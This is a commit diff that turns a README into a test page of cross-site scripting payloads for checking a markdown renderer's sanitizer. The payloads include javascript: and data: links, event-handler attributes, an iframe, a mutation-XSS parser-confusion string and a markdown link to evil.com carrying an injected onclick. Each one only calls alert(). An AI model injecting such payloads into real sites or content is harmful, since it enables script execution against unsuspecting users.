add xss test readme

README.md

@@ -1,3 +1,19 @@
-# xss-test
+# XSS Test
 
-<img src=x onerror=alert(document.domain)>
+[Click me](javascript:alert(document.domain))
+
+<details open ontoggle=alert(1)>test</details>
+
+<a href="data:text/html,<script>alert(1)</script>">data link</a>
+
+<div onmouseover="alert(1)">hover me</div>
+
+<svg onload=alert(1)>
+
+<img src=x onerror=alert(1)>
+
+<iframe src="javascript:alert(1)"></iframe>
+
+<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
+
+[xss](https://evil.com"onclick="alert(1))